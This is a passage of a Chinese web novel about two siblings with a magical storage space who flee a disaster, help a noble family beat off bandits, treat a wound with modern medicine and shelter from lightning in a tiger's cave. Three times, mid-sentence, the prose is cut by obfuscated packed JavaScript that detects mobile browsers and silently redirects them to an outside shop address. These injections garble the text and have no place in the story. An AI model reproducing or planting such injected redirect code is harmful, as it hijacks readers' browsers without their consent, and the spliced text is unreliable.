走到第十天,赵宁宁忽然听到雨水声里夹杂着马匹的嘶叫声。 “有人从后面来!”赵宁宁没有犹豫,一把抓着哥哥躲进空间。 只有赵宁宁能从空间看到外头,赵启看她坐在沙发上神色严肃的模样,不由问道:“外头怎么了?” “有一队车马。”赵宁宁说:“他们后头过去好些个山匪。” “山匪?!”赵启声音都拔高了。 赵宁宁:“嗯,看上去膘肥体壮的,不像是普通流民组织起来的团伙。” 赵启握紧拳头,后又松开。 不管外头怎么样,他们有空间这个大杀器,真遇到危险能躲一下。 “他们走远了!”赵宁宁说完,先出了空间。 赵启可以自己出空间,不能自己进,见宁宁出去,他急忙跟着出去。 地上的车辙印还清晰可见,赵宁宁抬头,那队山匪不过几息之间便追上了前头的人。 两边的人拼杀起来。 赵宁宁清晰看到,前头的人人数虽少,却不占下风,反而占了上风。 他们会武功!赵宁宁看得眼睛亮亮的。 甚至有一个人直接从地上飞起来了。 赵宁宁揉揉眼,再看过去,刚才飞起来的人使了一招剑术,他对面的人直接倒下。 “这也太帅了!”赵宁宁抓紧手里的伞柄,悄声说:“哥!原来世界上真的有轻功!” 会轻功的汉子很厉害,以一当十,这下追上去的山匪全部集火到他那边。 其他人空出手来纷纷过去支援。 赵宁宁正看得津津有味,忽然看到,有三个山匪悄悄拿着大刀绕道到马车后头。 “不好,他们要搞偷袭!”赵宁宁在出声提醒和不提醒之间,选择拿着**过去。 这可把赵启吓了一跳,不等他出声阻止,赵宁宁扭头给他手里也塞了一把大刀,还顺手收了地上几个浑圆的大石头。 一边想着实在不行还可以躲空间保命,赵启一边跟着赵宁宁靠近车队。 三个山匪找了两辆车,里面都没有他们想要找的东西。 此时赵宁宁已经藏到了离车队最近的一棵树下。 终于,在第五辆车里,山贼找到了他想要的东西。 赵宁宁只见到为首的汉子钻进去,紧接着捂着眼痛跌出去。 一只脚从车门踹出,将这个贼人给踹了下去。 ——不错不错,脚法不错! 赵宁宁赞。 旁边守着的两个贼人见状,提着刀便要砍上去。 那人走出来,赵宁宁看到了他的脸。 ——好帅一小帅哥!旱灾这么久,他的脸都没被晒黑,白如瓷一般。 ——浓颜系,隔这么远还能看到他大眼睛高鼻梁。 赵宁宁心底里赞了一声好帅,下一秒,便看到这个小帅哥被独眼土匪一刀划伤胳膊。 他右臂顿时失去力量。 左边胳膊使剑不顺手,眼看他节节败退起来,赵宁宁冲了出去。 两边在混斗着,无暇顾及车厢这边的情况。 赵宁宁爬到车顶,借着遮掩,把刚才收进空间的大石头给丢了出去。 头一般大的石头砸在脑袋上,一个人瞬间晕了过去。 ——真有用! 在场打斗的三个人顿了一下,齐齐望向车顶。 心里都在想——那里什么时候多了个人! 小帅哥扫了一眼便收回目光专心应付着剩下的两个人。 在他们以为自己没有石头的时候,赵宁宁趁机又丢下去一个。 她的准头不错,直接把另一个人也给砸开瓢了。 “该死!你来掺和什么!”捂着头的独眼提着刀,犹豫了一下还是专心攻击眼前的人。 只要杀了这个车队领头的少爷,这个车队就是他们的了!粮食!马匹!干燥的车厢!都是他们的! 独眼的攻势更加猛烈了!前头的人看得心急,想要过来支援,却被牵制着无法赶过来。 赵启拿着大刀,趁两个汉子专心攻击小少爷的时候,从后头窜出去,划拉出长长一道痕迹。 划完之后,赵启飞速退后躲起来。 他个子小力气也小,直接对上只会吃亏。 冷不丁后背被偷袭,独眼还以为对方的人赶了过来,一转身,背后只是一个小孩。 他都不屑留目光给对方。 趁独眼转身的瞬间,小少爷用双手举起剑,一剑刺向他的后背。 独眼应声倒下。 最后一个人,被赵宁宁扔石头和小少爷的剑合力给击倒。 怕地上的人装死反扑,小少爷跳下马车去补刀。 赵宁宁还是第一次见到打完之后要补刀的。 把这招记下,赵宁宁从车顶爬下去。 刚跳下马车,那小帅哥把自己拦下来,赵宁宁好奇看过去。 “这位姑娘,方才多谢!”小帅哥拱手,“在下温子川。” “嗯……在下赵宁宁。”赵宁宁学着他那样拱了拱手。 温子川:“赵姑娘可是随家人一起的?” 他刚才分明还看到有一个少年出来。 赵启从树后走出来,站到宁宁前头,“我叫赵启,是宁宁的哥哥。” 赵启和温子川互通了年纪,他比赵启略小一岁,便称道:“赵兄,刚才多亏有你们兄妹出手相助。” 两人谈话间,另一边的打斗也结束了。 领队的男人过来,赵宁宁看得眼睛都要冒光了。 ——这人!这人是刚才会飞的那个人! “赵姑娘、赵兄,这是我的表兄,名叫温子客。” 双方互相介绍之后,温子川正说着感谢的话,忽然整个人向一边栽去。 温子客就站在他旁边,一伸手便扶住他,着急地喊:“小川!小川!!” 一低头,众人才发觉刚才说话间温子川胳膊上的血已经将整个袖子给染透了。 赵宁宁:失血太多晕过去了!? 温子客伸手对着怀里的人点了几下,温子川手臂上的血才没有接着往外流。 赵宁宁:我去!点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229788|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴! 对两个小恩人扯扯嘴角,温子客道了声抱歉,把表弟给挪到车上安顿, 赵宁宁和赵启热闹也看了,忙也帮了,正准备去队伍后头,待会苟着跟在后头继续赶路。 没想到这群人把自己给拦下了,热情地请到了另一间车厢里头坐下。 赵宁宁和赵启没法,依次进到车厢里。 没想到这车厢不只是看着大,里头更是豪华! 车厢内直接是一张小桌子。 桌子两边都有软椅,那人请赵宁宁他们坐下,还拿出干净的布巾,让他们擦擦头发。 擦头发的空,他们又拿来衣服,说是他们少爷的衣服,已经是洗净过的。 考虑到赵宁宁是姑娘,他们特意从箱底扒拉出来一套新衣服给她。 换上衣服,赵宁宁摸摸衣服的布料。 ——滑溜溜的,是丝绸! 旱灾连着水灾都这么多天了,还能拥有这样八辆车的车队,实属豪横! 让两个小恩人喝了茶又吃上饭,过了一会,刚才安顿表弟的温子客才赶过来。 他一钻进车厢里头,车厢空间顿时变小了,他从桌底下抽出一个小板凳坐下,这才直起腰说:“方才多谢两位恩人!” 他说着,给自己斟一杯茶,郑重举着:“温子客在此以茶代酒,感谢两位恩人对子川出手相助!” 赵启和赵宁宁端起瓷杯,同样对着举起来。 仨人喝下,温子客才说:“两位是一起逃荒出来的吗?” 赵启看看赵宁宁,赵宁宁出声道:“我和我哥哥跟爹娘走散了,正在往北边走,不知道你知不知道渌川郡?” 温子客点头:“我知道,渌川郡在北边,从这边山脉斜穿过去便能到达。” 要是正常走路,要绕一大圈……不过山上的路更难走,眼下也是没法子的事。 赵宁宁:“我们想要往渌川郡的方向走,我爹娘应该也是往那个方向走的。” 温子客忙道:“赵姑娘不嫌弃的话,可以跟我们一起走,我们也是往那个方向去的!” “方便吗?”赵宁宁客套客套。 “方便的方便的!”温子客猛猛点头,“我们抽不出手来的时候,是你跟你哥哥一起来帮忙,我表弟他才能脱险!” “刚才还在发愁怎么报答你们的恩情呢!”说到这里,温子客笑笑,赵宁宁这才发现,原来这人脸上还有两道胡须一样的窝窝,一笑便会出现。 “那我们就厚脸皮跟着你们走了。”赵宁宁起身说:“我们自己带的有吃的,哥哥,走,咱去拿一下。” 温子客跟着起身,说:“我去帮你们!” 赵宁宁摆摆手,温子客见她下车的时候没有拿伞,把自己手里的油纸伞塞给这对兄妹。 可怜的,连个伞都没有,能带多少粮食。 温子客慈爱地看着两个跟表弟差不多大的孩子冒着雨朝山下走。 等待的同时,他们把这群山匪身上扒了一遍,金银武器和粮食留下,剩下便是把人拖到一边远远丢开。 他们队伍也要休整,刚好方便两个恩人慢慢去拿东西回来。 “宁宁,这么多会不会太夸张了。”赵启颠颠怀里的东西。 “没事,反正带个大包裹过去,到时候能从里面掏出什么东西都是我说了算。”赵宁宁背着一个有半个她高的大包裹,里头是为了掩人耳目乱放的锅具和碗筷。 为了填缝隙,赵宁宁还把抱枕也塞了个进去。 赵启那边也差不多,底下是米面和包子馒头,上面是一个大抱枕。 包裹看上去鼓鼓囊囊,实际上却不重。 回到队伍里,温子客还特意给他们留了饭。 赵宁宁推拒不过,只能端起碗,吃了一口,赵宁宁有点想哭。 ——好难吃的饭! ——怎么有人能用大米和肉做出这么难吃的肉粥来! 赵宁宁艰难地把粥喝完,喝完的时候她看见赵启正拿着勺子磨洋工,半天了只把他的粥喝下去了一点皮外伤。 赵宁宁:? 赵启疯狂眨眼。 下一秒,赵宁宁手里的碗被拿走,温子客热情地说:“我再去给你盛一碗!” 赵宁宁:…… ——不要啊! 第64章 药方 温子客又给赵宁宁盛了一碗粥,捧着粥,赵宁宁有些哭笑不得。 怪不得哥哥吃那么慢,还是他聪明,知道吃快了会被添饭。 抱着粥碗,赵宁宁学着赵启那样慢条斯理地吃起来。 两人吃过,温子客怕他们吃不饱,硬要塞两饼子过来,推拒不过,赵宁宁和赵启只能拿着啃。 饼子虽然被热过,还是有一些硬,赵宁宁啃了一口,不禁疑惑:咦?饼子还挺好吃的。 似乎是看出赵宁宁的疑惑,温子客解释道:“这饼子是其他人做的。” “怪不得……”赵宁宁又咬一口,满嘴的面香味,细细咀嚼起来甜甜的。 “怪不得什么?”温子客好奇问。 “没什么!”赵宁宁转移话题,“你表弟醒了吗?” 温子客脸色一黯,“还没有。” 吃过饭,温子客把自己的马车腾出来给赵宁宁和赵启,自己和表弟挤一辆,这样其他人就不用再挪东西了。 他指挥人搬东西的时候,赵宁宁才知道,这辆有小桌子和软椅的马车是温子客的。 占了人家的地儿,赵宁宁和赵启略有些不好意思。 温子客让他们尽管用,原先他夜间一个人在马车上住,空间充足。现在晚上马车要睡两个人,温子客给马车上的小桌和软椅挪走,好让两个小恩人夜间有足够的地方打地铺。 安顿好,队伍继续出发。 因为有受伤的人在,队伍的速度放的极慢。 温子客中途去看了一眼表弟,见他仍旧昏睡着,带着担心下车。 赵宁宁想了想,温子川之所以晕倒可能跟失血多有关。 他们家药箱里有她考试之前,宁妈买给她喝的补血补气的口服液。 还有口服的补血的药。 拿给温子川喝刚刚好。 只是口服液每次要现喝现拆有些麻烦。 还没容器装。 赵宁宁出去问温子客要了两个竹筒水杯,从空间把药箱拿出来,给里面装了四五支,够一天的量。 要是喝一天不行,她再拆新的,不然会变质。 把口服液装竹筒盖好盖子,赵宁宁又拿出药片,一粒一粒挤出来放进竹筒水杯里。 把这两样准备好,赵宁宁拿出去。 “这两样是我们出发时候带的补血补气的药。”赵宁宁把口服液小心端给温子客,“这里一顿喝半杯,另一个杯子里装的是药丸,一天最多吃两个。” 温子客抱拳感谢,尔后接过,忙不迭拿到表弟马车里。 等小恩人走后,温子客用银针试过,又用勺子舀起自己喝下一口,奇怪的白色药丸他也吃下一颗。 虽说小恩人救下了表弟,但表弟性命至关重要,温子客不敢出任何差池。 吃下半个时辰后还无事发生,温子客这才扶起表弟,三下五除二把药灌倒他嘴里。 晚上又吃一次之后,喊表弟他至少有反应了。 温子客高兴得跳起来,跟小恩人说了半天好话,还要给他们做饭吃。 吓得一向话少的赵启都开口直拒。 夜间休息,温家人搭了两个防雨的棚子。 一个让马匹休息,另一个则是让人做饭的。 赵启从自家的包裹里掏出砂锅。 光洁的砂锅让温子客看了,认为这两人定然也是哪家的少爷小姐,不然谁家砂锅质量如此说上乘,跟瓷器都有的一拼了。 等看到赵启用石头垒灶,温子客好奇地问:“赵老弟,你这是在干什么?” 赵启解释:“我们炉子碎了,只能用石头搭灶凑合一下。” “石头搭怎么能成?”温子客起身喊:“小六,把咱们多的炉子拿一个给赵老弟。” 立即有人应声去拿炉子。 赵启连连摆手说客气了,温子客一拍脑袋,“忘了说了。” 他回到车上踢下来一小包银子递给赵宁宁。 “这是从你们一起打晕的那人身上搜刮出来的银子和珠宝,你跟你哥哥的份儿都在这里头。”温子客极有眼色,他能看出来赵小兄弟和赵姑娘两人间,是赵姑娘当家做主的。 赵宁宁推辞:“这怎么好意思,能跟着你们车队一起走已经占了好大的便宜,你们还给我们马车坐!” “那是另外算的。”温子客不好拉着姑娘,只能趁这赵启不注意,拉着赵启一把塞到他怀里,“我们温家的规矩一向如此,表弟那份已经替他留下了,这是你们应得的。” 赵启干巴巴地推拒,他说又说不过,被温子客强摁着收下。 正好炉子也拿了过来,温子客帮他俩放在地上稳固好,还给他们拿来一堆柴火。 赵宁宁:哇哦。 她只不过帮了一次忙,温家的人这样回报。 不行,要是温子川还不醒,她得帮忙想点法子,要不要待会去车上看一看? 待温子客走远,赵启把钱袋子拿给妹妹,让妹妹收着。 赵宁宁好奇地打开看了一眼,里头都是金子! 底下还压着几样首饰,不知道那群匪徒是从哪抢过来的。 吃过饭,赵宁宁回空间,拿出来挨个欣赏了一遍。 古代打金技艺高超,上面还镶嵌了好几个硕大的宝石,赵宁宁认不出来,只觉得好看。 还有两条珍珠项链,每一条的珠子都有拇指指甲盖那样大。 这些放到现代,都是艺术品啊! 赵宁宁把首饰包好放到电视机柜子上头,要说哪里都不如她的空间安全。只要是从外头带进来的,空间刷新之后都会保留,空间刷新只会刷新原有的东西。 想着温子客到现在都没说温子川醒过来的事,赵宁宁把药箱里剩下的药全拿出空间,要是明天温子川再不醒,赵宁宁就请缨过去帮忙看一下。 第二天起来,赵宁宁下车洗漱的时候遇见温子客,看到他双眼红丝的模样吓了一跳。 “你昨天没睡觉?”赵宁宁问。 温子客苦笑一下,“表弟他伤口那里有些发红……半夜还发了高热,我煮了药喂他喝下,高热这才褪下。” “今早他又有些发热,我正准备再给他煮点药。” 赵宁宁一听:这不是跟他哥一样,伤口发炎引起的发烧? “你给他吃消……”赵宁宁不知道怎么形容,只能抽象地描述:“你给他吃治疗伤口红肿的药了吗?” 温子客点点头:“已经用上金疮药了。” 赵宁宁:……光外用也不行啊!都发红发炎了。 “你等着,我给你去拿药。”赵宁宁回到车厢,把消炎药扒拉出来,从铝箔包装里挤出来直接用小纸包包起来拿出去。 怕受潮不起效用,她只给了两天的量。 “一天三次,一次一颗。”赵宁宁把药给出去,等温子客道谢走后,她转身回车厢。 赵启担忧地看向外头。 “宁宁,我当时昏迷是不是也这样?” “何止啊!”赵宁宁抱着胳膊,“你的伤口在后脑勺,我看见之后真怕你磕傻了。” “还好你没事,不然我一个人在这里要吓**。”赵宁宁说完,安抚地从空间拿出一个苹果递给他哥,“吃吧。” 赵启拿着洗净的苹果吃,吃到一半,他说:“宁宁,我以后尽量都离你近一些,我们俩都能进空间,下次遇见什么危险,咱们啥也不说先进空间。” “行!”赵宁宁点头。 遇见泥石流也是,要不是来不及反应就晕了,赵宁宁会直接躲进空间的。 吃过早饭,温子客把恩人带来的新药给表弟吃下。 这次他没试药,药丸只有一小个,还只有六丸,他怕自己吃了表弟不够吃,万一药效就缺这一个不起效,后悔也来不及。 药吃下,能用的法子都用了,温子客就算再着急,也只能在一边干等着药效起作用。 上午的时候高热渐退,下午又开始发热,温子客只能喊停队伍,临时休息去煮药给表弟。 赵宁宁很好奇。 “你们队伍里还有大夫?这药是你们自己配的?” 温子客答道:“也不是,我们只认识一些普通药材,药方也是,只会常用的几种。” 出门在外嘛,难免会有些磕磕碰碰风寒感冒,他们最擅长的就是这些。 温子客见她好奇,问:“赵姑娘对这个退高热的药很感兴趣?” “对呀。”赵宁宁点头,她在古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229789|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代还是第一次见到见效这么快的药。 效果快跟现代的西药差不多了。 “那我待会把药方给你。”温子客笑笑:“赵姑娘给的药也很有用,表弟他虽没有醒,伤口却好了很多,没有那么红肿了。” 原本苍白的脸也比之前红润多了。 “这怎么好意思!”赵宁宁只是随口问问,没有想要人家秘方的意思。 “不碍事,这又不是什么秘方!我们从府城老大夫那里要来的。”温子客把药煮好,端起来倒,一边倒一边说:“等我表弟起来了让他给你写,我不识字!” 赵宁宁:…… ——行吧,等温子川醒过来了再说。 赵宁宁背着手回到车厢里头,问他哥:“你说现代做的那些消炎药,古代能不能复刻出来?” “你想把消炎药的配方告诉他们?”赵启伸出手:“你带我回家,我用电脑查查。” “行!”赵宁宁把赵启放到空间,自己坐在马车里守门。 不一会,温子川把药喂给表弟之后,队伍又开始出发。 半晌的时候休息过,队伍一直走到天色快要黑透的时候才停下来。 赵启从空间出来,拿着一张作业纸对宁宁说:“我查了,现代制药的方法肯定是行不通的,但我查到了中药的药方。” “这个药方是改良过的,我看了看没有什么出格的药材,这里的药材应该可以对应得上。” 赵宁宁拿过作业纸看看,上面写了一串药材,后面先是写了克重,又按这里的计量换成了两。 “那他们要是给我们退烧药,我们就把这药方交出去让他们自己研究。” 赵宁宁把纸折起来还给赵启,“哥,你记性好,到时候你背下来口述给他们。” 反正现代的纸是不可能让他们看到的。 赵启点点头。 晚饭还没开始吃,外头突然响起了温子客惊喜的声音。 赵宁宁和赵启听了一耳朵,放下心来。 应该是温子川醒了。 温子川马车内。 “表弟!你醒了!”温子客激动地拉着温子川的左手。 温子川难受地撇过头,张张嘴,温子客看到,立马会意地端来一杯水,摸摸是温的,他小心扶着表弟的背让他坐起来。 温子客还要喂,被温子川挡着手拒绝,温子川拿过杯子,咕咚咕咚喝下,才问:“现在走到哪了?” “山路难下,走了三十里左右。”温子客交代:“你昨天到今天都快昏迷两天了。” 两天才走了三十里,完全是照顾着温子川的病。 温子川点头,掀开被子把胳膊露出来,看了看自己的伤口,只有两边裂开的地方微微有一丝发红。 他不禁奇怪,“这次恢复的好快。” 他记得小时候也受伤过,那次他烧了七天,还是父亲去请了御医来才治好的。 从那之后,他祖母说什么都不让他学武了。 “说到这个,多亏有赵姑娘给的药!” 只可惜她拿来的药都已喂表弟吃下了,不然温子客非得让他看看那药丸多奇特——白白的,硬硬的,中间还有一道花纹。 温子川:“他们在队伍里?” “是啊……”温子客听表弟的语气,有些忐忑:“他们跟爹娘走散,我做主把他们留在队伍里跟着一起走了。” “把你的马车腾出来让他们坐。”温子川吩咐。 温子客放下心,嘿嘿笑着挠头,“我就是这样干的,这两天是跟你挤在一辆车厢里的。” 温子川点头。 他刚从昏迷中醒过来,还虚弱着,跟温子客说完话,温子川便继续躺下休息。 第二天,赵宁宁从空间洗漱好之后,再出马车装模作样地洗漱的时候,温子川已经可以扶着车门站在车上跟她打招呼了。 赵宁宁礼貌地回话,然后溜溜达达回马车。 跟帅哥说话好紧张! 温子川醒过来之后,队伍的速度便快了起来。 两天的功夫,他们走了八十里。在下雨的山路上,这个速度已是极限。 这几天相处下来,赵宁宁可以用两只动物来形容温子川和温子客。 第65章 雷暴 聪明的边牧和开朗的哈士奇。 表弟没事之后,温子客一整天到晚都呲着大牙傻乐。 赵宁宁也知道了,他们队伍之前不是一直都吃那么难吃的饭的。 因为之前都是温子川做饭。 一个古代正儿八经的大少爷,竟然会做饭,这在古代很是少见。 赵宁宁刻板印象一下。 许是看出赵宁宁的想法,温子川解释:“之前在府城求学,书院不让带小厮,饭又难吃,好多学子都学会了自己做饭。” 当然,学子做饭也有难吃的,只不过他不舍得自己白天上学那么苦还要被自己做的难吃的饭**,温子川休沐的时候特意请了厨娘教自己怎么做饭。 唯一令他后悔的是:早知道要逃荒,当初把在一边看热闹的温子客也抓着一起学做饭了。 这样队伍逃荒的时候,就不用指望他一个人了。 温子川做饭只能说正常,赵启做饭可就比他好多了。 赵启人少话也少,但人很好说话,又是男子,温子川发现他会做饭之后,拜托他教温子客等人做饭。 想着还要一起逃荒,赵启答应得很是爽快。 爽快之后便是无尽的后悔。 他实在是想不懂——为什么有人能一飞十来米高,做饭却能做成黑暗料理? 赵启努力了五天,被温子客气得头疼。 他虚弱地靠在车厢里问赵宁宁:“妹妹,我是不是很不适合当老师?” 赵宁宁“嘶”了一声,说:“哥,不要怀疑自己,要谴责别人。” 赵启肝疼。 明明他教了,明明温子客也认真学了,还按照他教的步骤一步一步来的,明明每个环节看上去都没什么问题的。 到底中间哪个环节发生了差错?! 看自己表哥把人家赵启都气得有些蔫吧了,温子川连忙叫停,带着一匣子糕点过来赔罪。 这糕点还是他自己做的,队伍带的东西里头还有大枣,干大枣很好保存,煮粥还是直接吃都很适宜。 温子川上车,赵启和赵宁宁把原先的小桌板拿出来放车中间,这样三人都有地方坐。 把吃食放在桌子上,温子川带着歉意说:“赵兄,这几日我表哥多有叨扰,这是我亲手做的枣丝糕,你尝一下。” 赵启拿起一小块糕点,这糕点微微发黄,枣香味扑鼻。 见赵宁宁还未动手,温子川含笑示意她也快吃,“赵姑娘快尝尝,蒸好的,放凉了就不好吃了。” 捏起一块放嘴里一咬,跟想象中酥软的口感不同,这枣丝糕竟然带着一丝韧性,里面包着一团枣泥馅,入口之后直接化在嘴里。 口感极细腻。 而且吃起来还不甜腻。 赵宁宁眼睛一亮。 见他们兄妹里有人喜欢,温子川心底松了口气,给他们讲接下来的路线和安排。 到渌川郡,最快最快也要两个月。 主要是山路难行,要根据地形估计。 越是靠近渌川郡,那边的山势越是险峻。 赵宁宁和赵启吃完,温子川也说得差不多了。他收起盘子,正准备下车,外头忽然轰隆传来一股雷声。 温子川动作一停,抬头望天。 巨雷轰隆隆压着人心碾过,听见雷声的温家人纷纷停下手里的动作,带着警惕或是好奇望着天。 这几日偶尔也会打闪打雷,但像今日这般大的雷,只在刚下雨那几天的打过。 雷声过去后,一道刺目的光劈下,温子川用袖子略微挡了一下脸,等他把袖子拿下来之后,只看到已走过的山头,竟然有一棵树硬生生被劈着火了。 这可是在下雨天! 离队伍出发还有半柱香的时间。 紧接着又是一道及其压迫人心的巨雷从耳边炸响。 天,似乎要比刚才更灰暗了。 温子川扬声吩咐道:“咱们先不走,在这里停留一会。” 他撑着伞,匆匆回到自己的马车上。 赵启把桌子和软椅给收好放在车上,担忧地望向马车窗外。 “宁宁,又打雷了。”赵启说。 “好像刚开始下雨那几天啊……”赵宁宁话音刚落,天上的雨滴开始肉眼可见地变大。 要是暴露在外的话,绝对会被这花生米大的雨滴砸得嗷嗷叫。 原本前几天的雨小了很多的!现在好了,又变成大暴雨了。 赵宁宁看了一眼,把窗户关上。 雨下大,温家人把东西都归置好,马匹拴在树下。 外头一边打闪一边打雷,赵宁宁忍了十来分钟,打开车窗一看,差点没把魂吓飞。 对面的山头,好几棵树都被雷劈了! 顶着大雨,树上的火只燃烧了一瞬就被浇灭了。 看看车队所处的环境,赵宁宁暗道一声不好。 他们正在山地的高处,再这样打雷,他们这里也很容易被雷劈啊! 说时迟那时快,赵宁宁还没来得及跟赵启说挪一下地方,一道刺眼的闪光在眼前炸开。 下一秒,距离他们不过十来米的树轰然倒下。 拴在车边树上的马匹受到惊吓,纷纷扬蹄就要往外跑,被缰绳牵制着,它们只能空抬起前蹄,被拴着在树边来回兜圈。 温子川也被这动静吓到,忍不住站在车头往外看。 赵宁宁冒雨站在车头,喊:“温大哥!” “我们要换一个地方!” 赵宁宁喊:“这里太危险了!” 温子川回神,看到站在车头上的赵姑娘,问:“咱们去哪?” 赵宁宁回想课本上说的内容,“咱们要离开这里,这里太高了。 这雷就喜欢劈站得高且在树底下的东西,咱们要找一个凹坑。” 主要是先离开这处高地,这里太危险了! 温子客在一边插嘴:“表弟,前头就有凹下去的地方,我刚才去前头探路的时候看见的!” 温子川:“事不宜迟,咱们走吧!” 温子客应下,车队立马行动起来。 赵宁宁这里,温子客见他们年纪小,又是暴雨天,想亲自过来给他们赶马车,被赵启婉拒。 赵宁宁抹抹脸上的雨水,“我们会赶车!你表弟伤口才刚愈合,不能见水,你快去帮他吧!” “表弟那边也有人帮着赶车。”温子客坐过来,“你们两个年纪小,压不住车,我来吧!” “刚才马匹被雷声惊到,熟悉的人赶它会好一些!” 听到这里,赵宁宁不再争辩。 赵启把缰绳递给他,温子客抓住缰绳,把马牵到马车旁边,两小只协助他套好,坐在车上匆匆往前走。 雨下得太大,如同近在眼前的纱帘一般,能朦胧看到前路,却看不清。 有人跳下马车,牵着一匹马走到最前头去领路。 赵宁宁和赵启坐在车上干着急。 又一道闪电劈下,距离马车不过五六米的一棵树被劈中,应声倒地。 温子客抓紧了缰绳,说:“要不你们随我去我表弟的马车?我们人聚在一起走?” “可以。”赵宁宁点头,赵启随着她点头。 冒雨从车上下去,不过十来步路,身上的衣服就已湿透,车上的温子川用左手一手一个拉着他们上车,温子客最后上车,四人聚齐,后面的马车让其他人赶。 一甩鞭子,温子客驾着这辆马车紧紧跟在最前方引路的人后面往山下跑。 其他人纷纷为他们打掩护。 赵宁宁心底略有些惊讶。 就算是古代的大少爷,他带来的人可是温家的旁支子弟,而非普通的奴仆。 这般护着温子川,说明温子川真的很重要。 ——怪不得只是帮忙打了山匪,温子客就对我们这么热情。 要是他们没来得及去支援温子川,温子川要是出个什么意外,他们不知道要怎样呢。 赵宁宁一边想,目光一边紧随着前方带路的人移动。 带路的人在狭窄的山路上上下左右腾挪,总能找到适合马车穿过,又稍微平缓一些的地方。 下山路难走,众人不得不放慢脚步。 越过最高的山头,前头一片林子,温子客略放下一些心来。 只要不是最高地,应该就没事了吧? 天上天雷还在炸,温子客全神贯注地盯着前头的人,走着走着,忽然眼前一道白光闪过。 下一瞬,天崩地裂一般,碎木头直接射向四方。 等温子客再回神的时候,发现自己倒在车里头。 只是整个车顶都没了,只剩下车厢四壁。 天雷劈下的一瞬间,不知道是谁扯了他一把,他这才从外头回到车内。 “刚刚……”温子客吓得脸有些发白,雨滴砸在他脸上,他有些喘气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229790|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“刚刚雷把咱们车给劈了。”赵宁宁无奈,“好在人没事。” ——这也太倒霉了些!不是说躲车里会没事吗! ——也有可能是因为木头车的缘故。 “还好还好。”温子客惊魂未定地看向自家表弟,表弟也有些被吓到,他身上倒是没有被淋湿,赵姑娘不知何时撑了把伞遮住了他。 温子客咽了口唾沫,“表弟,赵姑娘,咱们还走吗?” 温子川长吸一口气,“继续走!” 车队里,也有几辆车被击中,甚至有一人昏迷了过去。 那人还有气息,此时也顾不得那么多,他们再不走,留在这里只会越来越危险! 驾驶着破败的马车,温子客瞪大眼盯着前路。 时不时还看看天。 天上的还在打闪,看一眼他便把脖子缩回,心中祈祷不要再打雷了,他愿意一辈子多做善事。 前头引路的人跳上马,继续朝温子客说的凹坑跑。 半柱香之后,一行人终于到达一个凹坑的上头。 “这个凹坑要绕一下才能下去。”温子客说:“我探路的时候没有下去看过。” “快些走,天上的雷声越发密集了!”温子川催促。 “走!”一声令下,队伍沿着凹坑的边缘,从最高点慢慢往下走,走到最下头的时候,温子客惊喜道:“前头是个山洞!” “山洞!” 车队一鼓作气驶入其中,进入山洞范围,天上花生米大的雨滴消失,取而代之的是一股发酵久了的气息。 不等温子川吩咐,温子客一手拿着火把,一手提着剑走进去。 留三个人守着温子客,其他人全都跟着他进道山洞里头去了。 一阵拼杀过后,山洞趋于平静。 赵宁宁听着动静,和赵启对视了一眼。 刚刚,没听错的话,里头的好像是虎啸声吧? 他们在动物园的时候听过老虎叫的。 温子客提着还在滴血的长剑,边朝外边走边喜气洋洋地说:“表弟,这里有老虎!” 说着,他人带着其他温家人过来,后面的人抬着一个巨物,赵宁宁和赵启定睛一看,果然是老虎啊! 把老虎丢在一边,温子客说:“只可惜光线太暗了,看不太清,戳了两个洞,这虎皮不值钱了。” “有就不错了。”温子川从车上下去,问:“里头还有其他野兽吗?” “没有了,这老虎把这里都占据了,剩下的都是它吃剩下的一些东西……” 温子客说着,扫了一眼赵宁宁和赵启,说:“待我们清理过这些秽物之后,你们再进来吧!” 说着,他们从车上解下来铲子和簸箕,两两结队地进山洞去清理东西。 虽然他们极力掩饰,赵宁宁还是从他们搬出来的簸箕里头看到了人骨的形状。 赵宁宁:…… 连着搬了几个明显是人类腿骨簸箕,最后一个实在是没法藏,里头全是颅骨,有的还带着腐烂的肉。 赵宁宁撇过眼,胃里有些犯恶心。 赵启忙低下头,扶着破烂的车壁,干呕了一声。 温子川:…… 温子客他们把东西搬走之后,洞内空气稍微清新一点,等他们把土翻一翻填埋掉刚才的地方,洞内几乎没什么异味了。 只要不靠近,不细品的话。 温子川泰然自若地走进去。 赵宁宁和赵启跟在他后头,十分佩服温家这群人。 赵宁宁宁愿打十来个匪徒,也不愿意去收拾这个。 走到山洞内,一行人才算安心下来,开始在山洞内放心生火煮饭。 天雷再怎么厉害,也不可能拐着弯劈道洞内吧! 对此,赵宁宁只想说:有的兄弟,有的! 另一边。 